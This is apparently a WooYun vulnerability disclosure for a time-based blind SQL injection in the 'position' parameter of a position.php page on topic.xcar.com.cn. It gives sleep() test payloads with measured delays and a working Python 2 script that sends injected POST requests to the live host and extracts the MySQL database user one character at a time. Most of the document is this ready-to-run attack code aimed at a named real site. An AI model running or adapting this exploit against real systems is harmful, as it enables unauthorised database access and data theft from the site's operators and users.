WooYun.org

测试payload 
position=if(now()=sysdate(),sleep(3),0)  ----> 4s
position=if(now()=sysdate(),sleep(6),0)  ----> 6s
 
position=if(now()=sysdate(),sleep(9),0)  ----> 9s
确认漏洞存在。

#!/usr/bin/python
import httplib
import time
import urllib
import urllib2
import sys
import random
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
base_url = "/201503/new_crown/position.php"
user = ''
def sql():
    global user
    post_data={"position":"1"}
    for i in range(1,22):
        for payload in payloads:
            data2 = "if(now()=sysdate(),sleep(abs(ascii(mid(lower(user()),%d,1))-%d)),0)" % (i,ord(payload))
            post_data["position"] = data2 
            print 	post_data["position"]		
    
            data=urllib.urlencode(post_data)
            headers = {"User-agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0",
               "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
               "Accept-Language" : "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3",
               "Accept-Encoding" : "gzip, deflate",
               "Content-Type": "application/x-www-form-urlencoded",
               "Connection": "keep-alive"}
            try:		
              now_time = time.time()
              conn = httplib.HTTPConnection("topic.xcar.com.cn",timeout=60)
              conn.request('POST', base_url, data, headers)
              data3 = conn.getresponse().read()
            except:
                continue
                print i
    
            if time.time() - now_time < 1:
                user += payload
                sys.stdout.write('\r[In Progress]' + user +'\n')
                sys.stdout.flush()
                break
            else:
                print "pass"
if __name__ == "__main__":
    sql()
    print '\n[Done]MySQL user is ' + user